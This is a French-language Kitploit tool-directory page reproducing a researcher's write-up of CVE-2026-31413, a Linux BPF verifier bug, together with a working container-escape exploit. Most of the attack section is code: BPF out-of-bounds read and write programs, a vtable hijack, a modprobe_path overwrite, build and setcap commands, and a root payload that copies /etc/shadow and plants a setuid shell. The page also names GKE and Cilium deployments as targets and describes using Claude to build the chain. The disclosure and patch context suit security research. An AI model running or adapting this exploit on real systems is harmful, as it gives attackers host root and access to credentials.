Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31413-BPF-Container-Escape — CVE-2026-31413 : bug de solidité du vérificateur BPF - évasion de conteneur | Kitploit
Outils/GitHubGitHub/rat5ak/cve-2026-31413-bpf-container-escape
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationArticles et RechercheApprentissage et ÉducationÉvasion de ConteneurExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
rat5ak/cve-2026-31413-bpf-container-escape

CVE-2026-31413-BPF-Container-Escape

CVE-2026-31413 : bug de solidité du vérificateur BPF - évasion de conteneur

Voir le dépôt
11il y a 4 moisPas encore vérifié

CVE-2026-31413 : un octet dans le vérificateur BPF pour une évasion de conteneur

J'ai trouvé un bug de sûreté dans le vérificateur BPF de Linux - un + 1 dans un appel à push_stack() qui fait que le vérificateur saute une instruction ALU sur un chemin dupliqué. Pour BPF_OR, cela signifie que le vérificateur suit dst = 0 alors que le CPU calcule 0 | K = K. J'ai écrit une évasion de conteneur complète : lecture/écriture hors limites depuis une map BPF, détournement de vtable, écrasement de modprobe_path, root sur l'hôte. Ensuite, j'ai rédigé une série de deux correctifs - une correction d'un caractère dans le vérificateur et 90 lignes de selftests - et je l'ai fait fusionner dans mainline.

📹 Vidéo de démonstration de l'évasion de conteneur

CVECVE-2026-31413
Classe de bugSûreté du vérificateur - divergence de valeur de registre
Cause racinepush_stack(env, env->insn_idx + 1, ...) saute l'instruction ALU sur le chemin dupliqué
Introduitbffacdb80b93 - Linux 7.0-rc1 (14 janv. 2026)
Corrigéc845894ebd6f - Linux 7.0-rc5 (22 mars 2026)
Affecté6.12.75+ (backport stable dea9989a3f) jusqu'à 7.0-rc4
ImpactR/W arbitraire du noyau → évasion de conteneur → root hôte
RequisCAP_BPF + CAP_PERFMON + CAP_NET_ADMIN
CorrectifUn caractère : insn_idx + 1 → insn_idx

En bref

maybe_fork_scalars() duplique l'état du vérificateur lorsqu'elle voit ARSH + AND/OR avec une constante. Le chemin dupliqué reçoit dst = 0 et saute l'instruction ALU. Pour AND, c'est bon : 0 & K = 0. Pour OR, c'est faux : 0 | K = K, pas 0.

Le vérificateur pense que le registre est zéro. Le CPU a K. Je m'en suis servi pour construire une lecture/écriture hors limites arbitraire à partir d'une valeur de map BPF, divulguer l'adresse noyau de la map, construire une fausse vtable bpf_map_ops, rediriger map_push_elem via array_map_get_next_key pour une écriture arbitraire, et écraser modprobe_path. Déclenchez un format binaire inconnu, le noyau exécute mon script en root. Dans un conteneur, évasion complète de l'hôte.

Série de deux correctifs : une correction d'un caractère dans le vérificateur plus 90 lignes de selftests BPF couvrant la duplication OR vs AND. Fusionnée par Alexei Starovoitov le 22 mars. CVE-2026-31413 assignée par Greg Kroah-Hartman le 12 avril.


Contexte : le vérificateur BPF

eBPF vous permet de charger de petits programmes dans le noyau - filtres de paquets, hooks de traçage, politiques de sécurité - sans compiler de module noyau. Le problème, c'est que vous injectez du code dans l'anneau 0. Si ce code contient un bug, c'est un bug du noyau.

Ainsi, avant qu'un programme BPF ne s'exécute, le vérificateur du noyau simule chaque chemin d'exécution possible. Il suit ce que contient chaque registre (un pointeur ? un scalaire ? quelle plage ?), vérifie chaque accès mémoire par rapport aux limites de la map, et rejette tout ce qui pourrait lire ou écrire hors limites. Si le vérificateur dit qu'un programme est sûr, le JIT le compile en code machine natif et l'exécute avec tous les privilèges du noyau. Il n'y a plus aucun contrôle de bornes à l'exécution après ce point. Le vérificateur est la frontière de sécurité.

C'est pourquoi les bugs de sûreté du vérificateur diffèrent des corruptions mémoire classiques. Avec un débordement de tas ou une UAF, vous obtenez une primitive de corruption et devez travailler à partir de là - pulvériser le tas, préparer les objets, remporter une course. Avec un bug du vérificateur, vous amenez le noyau à croire un mensonge sur la valeur d'un registre. Chaque contrôle de bornes qui dépend de ce registre passe. Le noyau a approuvé votre accès hors limites. Il l'exécute sans poser de question. Si vous alignez correctement l'état des registres, vous en tirez une primitive propre et fiable.

Comment je l'ai trouvé

J'auditais maybe_fork_scalars() - du nouveau code, ajouté en janvier 2026 dans bffacdb80b93. La duplication d'état est toujours intéressante car c'est là que le vérificateur se divise en chemins d'exploration parallèles, et si un chemin suit une valeur incorrecte, tout ce qui se trouve en aval de ce chemin est non fiable.

La fonction duplique l'état lorsqu'elle voit ARSH + AND/OR avec une source constante. Le chemin dupliqué reçoit dst = 0 et saute l'instruction ALU. Je lisais la ligne push_stack(env, env->insn_idx + 1, ...) et tout s'est éclairé immédiatement - le + 1 signifie que le chemin dupliqué n'exécute jamais l'opération ALU. Pour AND, 0 & K = 0, donc ignorer l'instruction est correct. Pour OR, 0 | K = K. Le chemin dupliqué pense que le résultat est 0 alors qu'il est en réalité K.

J'ai écrit un programme BPF ce soir-là. ARSH 63 pour obtenir {0, -1}, OR avec une constante, branche conditionnelle pour séparer les chemins du vérificateur, puis ajout du registre « zéro » à un pointeur de map. Le vérificateur a approuvé map_value + 0. Le CPU a accédé à map_value + K. KASAN a confirmé l'accès hors limites lors des tests.

Lecture/écriture hors limites dès le lendemain matin. Évasion de conteneur dès le lendemain soir. J'ai utilisé Claude (Opus 4.5) tout au long - pour analyser la logique de duplication d'état du vérificateur, réfléchir aux primitives d'exploitation, et transformer l'accès hors limites en une chaîne d'évasion complète. L'approche du détournement de vtable est née d'un échange où Claude a passé en revue les pointeurs de fonction de bpf_map_ops à la recherche de gadgets appelables.

Le commit qui a introduit le bug

Le commit bffacdb80b93 (« bpf: Recognize special arithmetic shift in the verifier ») a été intégré le 14 janvier 2026 dans 7.0-rc1. Alexei Starovoitov, co-développé par Puranjay Mohan. Il a ajouté maybe_fork_scalars() pour gérer un motif DAGCombiner LLVM :``` w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1 w2 &= -134 // AND with constant K

root@kitploit:~
LLVM abaisse `select_cc setlt X, 0, A, 0` en `sra + and`. Après le décalage arithmétique à droite, le registre vaut soit `0` (entrée non négative), soit `-1` (tous à 1). Le ET avec une constante donne `0` ou `K`.

Le vérificateur ne peut pas suivre `{0, K}` dans un seul `bpf_reg_state` — sa plage signée `[0, K]` est une sur-approximation, ce qui le poussait à rejeter des programmes Cilium valides. La correction : dupliquer l’état du vérificateur. Un chemin explore `dst = 0`, l’autre `dst = -1`, chacun suivant la valeur précise.

La mise en œuvre :```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
                              struct bpf_insn *insn,
                              struct bpf_reg_state *dst_reg)
{
    // ... condition check: dst range is [-1, 0], src is constant ...

    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
    //                             ^^^^^^^^^^^^
    //                    pushed path resumes AFTER the ALU insn
    if (IS_ERR(branch))
        return PTR_ERR(branch);

    regs = branch->frame[branch->curframe]->regs;
    __mark_reg_known(&regs[insn->dst_reg], 0);   // pushed: dst = 0
    __mark_reg_known(dst_reg, -1ull);             // current: dst = -1
    return 0;
}

Deux choses se produisent sur le chemin poussé :

  1. Le registre de destination est mis à 0
  2. L'exécution reprend à insn_idx + 1 - l'instruction après l'opération ALU

Pour BPF_AND : dst = 0, on saute le AND. À l'exécution : 0 & K = 0. Correspondance. Sûr.

Pour BPF_OR : dst = 0, on saute le OR. À l'exécution : 0 | K = K. Incohérence. Le vérificateur voit 0. Le CPU a K. Non sûr.

La fonction ne vérifie pas l'opcode. Elle a été écrite pour AND - où sauter l'instruction équivaut à l'exécuter avec dst = 0 - et a été appliquée à OR aussi. Pour OR, cette équivalence ne tient pas.

Déclencher la divergence

Le motif de déclenchement comporte cinq instructions :``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)

root@kitploit:~
The verifier explores two paths:

**Chemin actuel** (`dst = -1`) : L'OR s'exécute, `-1 | K` reste `-1`. La
branche `r6 s< 0` est prise. Le vérificateur suit la sortie. Ce chemin est sûr et
le vérificateur le confirme.

**Chemin poussé** (`dst = 0`, OR ignoré) : `r6 = 0`. La branche `r6 s< 0` n'est pas
prise. Le vérificateur passe à `r9 += r6`, voit `r9 += 0`, et approuve l'accès
mémoire suivant comme étant dans les limites.

**À l'exécution** (`dst = 0`, OR exécuté) : La valeur de la map est positive, donc après ARSH,
`r6 = 0`. L'OR s'exécute : `0 | K = K`. La branche `K s< 0` n'est pas prise (K est
positif). `r9 += K` - un accès hors limites de `K` octets, approuvé par le
vérificateur comme `r9 += 0`.

Je contrôle `K`. Lecture ou écriture hors limites à décalage arbitraire, relative à n'importe quelle valeur de
map BPF.

La version de lecture stocke les données divulguées dans une deuxième map pour une
récupération depuis l'espace utilisateur. La version d'écriture charge une valeur depuis une troisième map et l'écrit au
décalage hors limites. Les deux passent le vérificateur.

Voici le `oob_read_prog` complet - c'est le code réel de l'exploit, pas du
pseudo-code :```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
    int K = -offset;
    struct bpf_insn insn[] = {
        /* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),       /* map_lookup_elem */
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_LDX_MEM(BPF_DW, R6, R0, 0),                  /* R6 = seed (positive) */

        /* look up dst_fd[0] → R9 = pointer to output buffer */
        BPF_LD_MAP_FD(R1, dst_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R9, R0),

        /* look up map_fd[0] again → R8 = base pointer for OOB access */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R8, R0),

        /* === THE BUG === */
        BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 (positive seed) */
        BPF_ALU64_IMM(BPF_OR, R6, K),                    /* verifier: R6=0, runtime: R6=K */
        BPF_MOV64_IMM(R7, 0),
        BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K = offset */
        BPF_ALU64_REG(BPF_ADD, R8, R7),                   /* R8 = map_value + offset (OOB) */
        BPF_LDX_MEM(BPF_DW, R0, R8, 0),                  /* OOB read: 8 bytes */
        BPF_STX_MEM(BPF_DW, R9, R0, 0),                  /* store to output map */
        BPF_MOV64_IMM(R0, 0),
        BPF_EXIT_INSN(),
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}

Et l'écriture OOB - même astuce ARSH+OR, mais écrit une valeur depuis une troisième map dans l'offset OOB :```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */

root@kitploit:~
    BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 */
    BPF_ALU64_IMM(BPF_OR, R6, K),                    /* R6 = K (verifier: 0) */
    BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),                /* skip if negative (verifier path) */

    BPF_MOV64_IMM(R7, 0),
    BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K */
    BPF_ALU64_REG(BPF_ADD, R9, R7),                   /* R9 = OOB target */

    /* look up val_fd[0] → R8 = value to write */
    BPF_LD_MAP_FD(R1, val_fd),
    BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
    BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
    BPF_LDX_MEM(BPF_DW, R8, R0, 0),                  /* R8 = write value */

    BPF_STX_MEM(BPF_DW, R9, R8, 0),                  /* OOB write */
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
    BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));

}

root@kitploit:~
Pour déclencher l'un ou l'autre programme, je l'attache à une paire de sockets et j'envoie un paquet à travers:```c
static int trigger_bpf_prog(int prog_fd)
{
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
    setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
    char buf[64] = "x";
    write(socks[1], buf, sizeof(buf));
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    read(socks[0], buf, sizeof(buf));
    close(socks[0]); close(socks[1]);
    return 0;
}

Le modèle negate-and-add (R7 = 0 - R6; R8 += R7) nous permet d'atteindre des décalages négatifs depuis la valeur de la map - c'est là que résident les métadonnées de la map elle-même.


Exploitation : OOB vers l'évasion de conteneur

La chaîne complète :``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit

root@kitploit:~
### La disposition cible

Un `BPF_MAP_TYPE_ARRAY` repose sur `struct bpf_array`, qui intègre
`struct bpf_map` à l'offset 0. Les valeurs réelles de la carte commencent à l'offset 264 (après
l'en-tête `bpf_array` + alignement). Ainsi, à partir de `value[0]`, les métadonnées de la carte elle-même se trouvent à des offsets négatifs connus :```
                   struct bpf_map (embedded in bpf_array)
                   ┌────────────────────────────────────────┐
offset from val[0] │                                        │
    -264           │ ops          (struct bpf_map_ops *)    │ ← vtable pointer
    -240           │ map_type     (u32)                     │
    -236           │ key_size     (u32)                     │
    -232           │ value_size   (u32)                     │
    -228           │ max_entries  (u32)                     │
                   │ ...                                    │
    -136           │ freeze_mutex.wait_list                 │ ← points back into struct
                   │ ...                                    │
       0           │ value[0]     ← our OOB origin          │
                   └────────────────────────────────────────┘

J'ai vérifié cela avec pahole sur le vmlinux 6.12.76-docker. Sur le noyau testé, les offsets correspondaient exactement.

Étape 1 : Fuite d'informations

Deux lectures hors limites me donnent tout ce dont j'ai besoin :

wait_list à l'offset -136. Il s'agit de freeze_mutex.wait_list, une list_head qui pointe vers elle-même lorsque le mutex est non contesté. Sa valeur est &map->freeze_mutex.wait_list — un pointeur noyau dans la structure de la map. Soustrayez 128 et j'obtiens l'adresse de base de la map. Ajoutez 264 et j'obtiens l'adresse noyau de value[0].

ops à l'offset -264. C'est le pointeur de table virtuelle bpf_map_ops. Sur un noyau non modifié, il pointe vers le symbole global array_map_ops. Je le lis pour confirmer que le noyau n'est pas patché et pour obtenir l'adresse de la table virtuelle en vue du clonage.```c uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST); uint64_t map_addr = wait_list - 128; uint64_t val_addr = map_addr + 264;

uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }

root@kitploit:~
À ce stade, j'ai : l'adresse kernel de la map, l'adresse de mes données
contrôlées (`value[0]`), et le pointeur de vtable confirmé.


### Étape 2 : Fausse vtable

`bpf_map_ops` possède 42 emplacements de pointeurs de fonction. Si je mets simplement à zéro ceux dont je n'ai pas
besoin, le noyau provoquera un déréférencement NULL la première fois qu'il en touchera un. Je résous donc
chaque symbole depuis `/proc/kallsyms` et construis une copie complète :```c
uint64_t *vt = (uint64_t *)(val + 8);  // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check;       // map_alloc_check
vt[ 1] = sym_alloc;             // map_alloc
vt[ 2] = 0;                     // map_release (unused path)
vt[ 3] = sym_free;              // map_free
vt[ 4] = sym_get_next_key;      // map_get_next_key
// ...
vt[12] = sym_lookup_elem;       // map_lookup_elem
vt[13] = sym_update_elem;       // map_update_elem
vt[14] = sym_delete_elem;       // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY;    // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage;         // map_mem_usage

Le slot 15 est map_push_elem. Dans le array_map_ops réel, c'est NULL (les
tableaux ne supportent pas push). Je le remplace par array_map_get_next_key.

Pourquoi get_next_key ? Sa signature est :```c int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)

root@kitploit:~
Il lit `*(u32 *)key`, l'incrémente et écrit le résultat dans `*(u32
*)next_key`. Lorsqu'il est appelé via le chemin de dispatch `map_push_elem` :```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
    → map->ops->map_push_elem(map, value, flags)

The flags argument lands in the next_key parameter. If I control flags, I control the write destination. The value written is *(u32 *)value + 1 - a small integer I can predict by setting the first 4 bytes of my push buffer.

Step 3: Map Corruption

Before I can use the fake vtable, I need to redirect the map to it and change its type so the kernel dispatches through map_push_elem. Three OOB writes, executed in order:```c // Point ops at my fake vtable (lives at val_addr + 8) exec_oob_write(prog_wr_ops, scratch, val_addr + 8);

// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);

// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);

root@kitploit:~
Le changement de type est critique. Lorsque l'espace utilisateur appelle `bpf(BPF_MAP_UPDATE_ELEM)` sur une map de type tableau, le noyau passe par `map_update_elem`. Mais sur une map de type file, le même appel système passe par `map_push_elem` - qui pointe désormais vers `array_map_get_next_key`.

Je pré-charge les six programmes BPF (trois écritures + trois restaurations) *avant* de corrompre quoi que ce soit. Une fois que je corromps le pointeur `ops`, je ne peux plus charger de nouveaux programmes BPF référençant cette map - le vérificateur suivrait la fausse vtable et planterait. Tout doit être préparé à l'avance.

### Étape 4 : Écriture arbitraire via map_push_elem

Maintenant, je peux écrire 4 octets à n'importe quelle adresse du noyau :```c
#define ARB_WRITE32(addr, val32) do { \
    uint32_t _v = (val32); \
    uint32_t _pv = _v - 1; \
    memset(push_buf, 0, sizeof(push_buf)); \
    memcpy(push_buf, &_pv, 4); \
    map_push(victim, push_buf, (addr)); \
} while(0)

map_push() appelle bpf(BPF_MAP_UPDATE_ELEM) avec flags = addr. Le noyau dispatche vers mon map_push_elem détourné → array_map_get_next_key(map, push_buf, addr). Il lit *(u32 *)push_buf (qui vaut val - 1), ajoute 1, et écrit val dans *(u32 *)addr.

La primitive d'écriture est un stockage u32 de 4 octets via get_next_key. Il n'y a aucune contrainte d'alignement - le noyau effectue un *(u32 *)addr = val normal à l'adresse que l'on fournit.

Étape 5 : écrasement de modprobe_path

modprobe_path est une variable globale char[256] du noyau, par défaut /sbin/modprobe. Lorsque le noyau rencontre un exécutable avec un nombre magique inconnu, il invoque modprobe_path en tant que root pour charger le module approprié. Je l'écrase avec un chemin que je contrôle, je déclenche un format binaire inconnu, et le noyau exécute mon script en tant que root.

Le chemin cible est /tmpn/mo. Je ne peux pas écrire des chaînes arbitraires - j'écris 4 octets à la fois via l'incrément entier de get_next_key. Mais je n'ai besoin que de deux écritures :```c // Original: "/sbin/modprobe\0" // Write "/tmp" at offset 0: ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian // Write "\0\0\0\0" at offset 8 (null-terminate): ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U); // Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe" // Result: "/tmpn/mo\0"

root@kitploit:~
En mode conteneur, `modprobe_path` est résolu dans l'espace de noms de montage init - pas
celui du conteneur. Le script de charge utile doit donc exister sur l'hôte à `/tmpn/mo`.
Avec `--pid=host` ou un espace de noms PID partagé, j'atteins le système de fichiers hôte via
`/proc/1/root/` :```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");

Dans une attaque réelle, l'exploit écrit la charge utile dans /tmpn/mo sur l'hôte via /proc/1/root/tmpn/mo (accessible lorsque le pod partage le namespace PID, comme c'est la norme pour les sidecars de service mesh comme Cilium et les agents de surveillance comme Falco). La démo simplifie cette étape : l'orchestrateur pré-positionne la charge utile sur l'hôte afin que l'exploit n'ait plus qu'à déclencher l'exécution.

L'exploit crée le binaire déclencheur - 4 octets de \xff - et l'exécute. Le noyau ne reconnaît pas le format, recherche modprobe_path, trouve /tmpn/mo, et l'exécute en tant que root.

La charge utile :```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null

root@kitploit:~
### Étape 6 : Nettoyage

Après l'écriture de `modprobe_path`, je restaure l'en-tête de la map - type, max_entries,
ops - à l'aide des trois programmes de restauration préchargés. La map redevient un
tableau normal. Pas de fausse vtable pendante, pas d'instabilité du noyau. L'exploit est
à tir unique et laisse un état propre.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);

Dans mon environnement de démonstration, la chaîne complète, de la première lecture OOB à l'obtention du shell root, a pris quelques secondes.


Exploit Tiers

Au-delà de l'évasion de conteneur de base, j'ai construit une série de niveaux d'exploit autonomes qui démontrent différentes capacités de post-exploitation issues de la même primitive. Chaque niveau est un fichier C autonome dans exploit/ qui utilise la bibliothèque d'aide partagée exploit_common.h pour la configuration de lecture/écriture OOB ARSH+OR.

Tous les niveaux restaurent chaque modification avant de se terminer. Testé sur 6.12.76.

Compilation```bash

make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries

root@kitploit:~
Ou individuellement:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite

Chaque niveau nécessite CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.


Structure du dépôt```

├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile

root@kitploit:~
---

## Qui est concerné

L'exploit nécessite `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Vous n'obtiendrez pas cela depuis un conteneur non privilégié ou un compte utilisateur normal sur un système durci. Mais il existe de nombreux contextes où vous disposez de ces capacités.

### Systèmes BPF non privilégiés

Si `kernel.unprivileged_bpf_disabled=0` (vérifiez avec `sysctl`), tout utilisateur local peut charger des programmes BPF. C'était le défaut sur les anciennes distributions et c'est parfois activé pour les environnements de dev/test. Sur ces systèmes, il s'agit d'une élévation de privilèges locale directe — de n'importe quel utilisateur à root, sans permissions spéciales.

La plupart des distributions modernes sont livrées avec `unprivileged_bpf_disabled=1` ou `=2` (verrouillé), donc cette voie est fermée sur les installations par défaut d'Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9, etc.

### Kubernetes / environnements de conteneurs

C'est là que le bug fait mal. Les conteneurs non privilégiés standard suppriment `CAP_BPF`, ils ne peuvent donc pas déclencher le bug. Mais beaucoup de pods d'infrastructure tournent avec des capacités élevées :

| Produit | Privilèges par défaut | Remarques |
|---------|-------------------|-------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Politique réseau, s'exécute sur chaque nœud |
| **Falco** | `privileged: true` | Sécurité runtime, monte /dev |
| **Tetragon** | `privileged: true` | Observabilité eBPF |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 autres | Métriques, journaux, APM |
| **Pixie** | `privileged: true` | Observabilité basée sur eBPF |
| **Tracee** | `privileged: true` ou capacités BPF | Sécurité runtime d'Aqua |

Ces derniers s'exécutent généralement sous forme de DaemonSets — un pod par nœud, à l'échelle du cluster. Si un attaquant compromet l'un de ces pods (RCE dans un service web sur le même nœud, attaque de la chaîne d'approvisionnement, SSRF vers une API d'agent, etc.), il dispose des capacités nécessaires pour exécuter cet exploit et s'échapper vers le root de l'hôte.

**Avertissement important :** L'exploit ne fonctionne que sur les noyaux contenant le code vulnérable (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 à rc4). La plupart des clusters K8s de production utilisent des noyaux LTS plus anciens. Vérifiez la version du noyau de votre nœud avec `uname -r` avant de supposer l'exploitabilité.

Depuis le root de l'hôte sur un nœud, le mouvement latéral vers d'autres nœuds est généralement possible via le même DaemonSet (comptes de service partagés, secrets montés, etc.).

### Kubernetes géré (GKE, EKS, AKS)

Google GKE utilise Cilium comme Dataplane V2 par défaut. Si les nœuds GKE exécutent un noyau 6.12.x non corrigé (vérifiez la version de votre pool de nœuds), toute compromission d'un pod Cilium se transforme en prise de contrôle du root de l'hôte et du nœud. J'ai construit l'exploit spécifiquement pour ce scénario — c'est pourquoi il s'appelle `exploit_gke.c`.

Amazon EKS et Azure AKS sont également potentiellement concernés s'ils exécutent des noyaux 6.12.x avec Cilium ou une mise en réseau similaire basée sur BPF. Il faut vérifier les versions d'images AMI/VM spécifiques.

### Android

Android utilise eBPF pour la comptabilité du trafic réseau (netd), le profilage de la puissance et le suivi de la mémoire. Les appareils Android actuels (14/15) utilisent des noyaux 6.1 LTS, qui ne sont **pas concernés**. Android 16 pourrait adopter 6.12 LTS — si c'est le cas, et si le backport vulnérable est inclus, la surface d'attaque serait des services système comme `netd` et `system_server` qui chargent des programmes BPF.

C'est spéculatif et dépend du calendrier d'adoption du noyau par Android. J'ai déposé auprès d'Android VRP pour le suivi.

### Conteneurs à noyau partagé (LXC/LXD)

Les conteneurs système qui partagent le noyau de l'hôte (contrairement aux VM) sont entièrement exposés. Compromettre le noyau partagé = compromettre l'hôte + tous les autres conteneurs qui s'y trouvent. C'est différent de Docker/containerd où vous vous échappez vers un hôte qui pourrait lui-même être une VM.

### Ce dont il ne s'échappe pas

Ceci est un bug du noyau invité, pas une évasion d'hyperviseur. Si vous exécutez l'exploit dans une instance EC2, vous obtenez root sur cette instance — vous ne vous échappez pas de l'hyperviseur Nitro vers l'hôte physique ou d'autres locataires. Idem pour GCE, les VM Azure, KVM, etc. La frontière matérielle tient.

### Noyaux concernés

| Branche | Affecté | Corrigé |
|--------|----------|-------|
| 6.12.y (LTS) | `dea9989a3f` jusqu'à 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` jusqu'à 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` jusqu'à 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 jusqu'à 7.0-rc4 | 7.0-rc5+ |

Commit d'introduction : `bffacdb80b93` ("bpf: Recognize special arithmetic shift in the verifier")
Commit de correction : `c845894ebd6f`

